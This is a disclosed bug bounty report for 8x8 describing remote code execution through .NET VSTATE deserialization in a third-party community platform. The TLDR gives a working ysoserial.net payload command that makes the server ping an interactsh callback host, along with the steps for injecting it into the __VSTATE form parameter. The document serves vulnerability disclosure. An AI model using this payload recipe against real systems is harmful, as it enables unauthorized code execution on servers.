8x8 · Report #1391576
Remote Code Execution on ██.8x8.com via .NET VSTATE Deserialization
Validstatus
criticalseverity
36upvotes
3 Feb 2022disclosed
Summary
@0daystolive reported to us a flaw in a 3rd party community platform, which could be exploited to achieve RCE. We swiftly relayed this to the vendor and their engineering team turned off the affected code, which resolved the issue.
For more details about this vulnerability read: https://blog.sorcery.ie/posts/higherlogic_rce
TLDR:
- Generate payload with ysoserial.net:
ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "ping aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.interactsh.com" -o raw | base64 -d | gzip - | base64 -w0 - Insert payload into
__VSTATEparameter on the page. - Submit the form.
- A DNS request is observed on interactsh, confirming the RCE.
How it was found
The write-up for this report has not been downloaded yet, or the program disclosed it without one. Read it on HackerOne.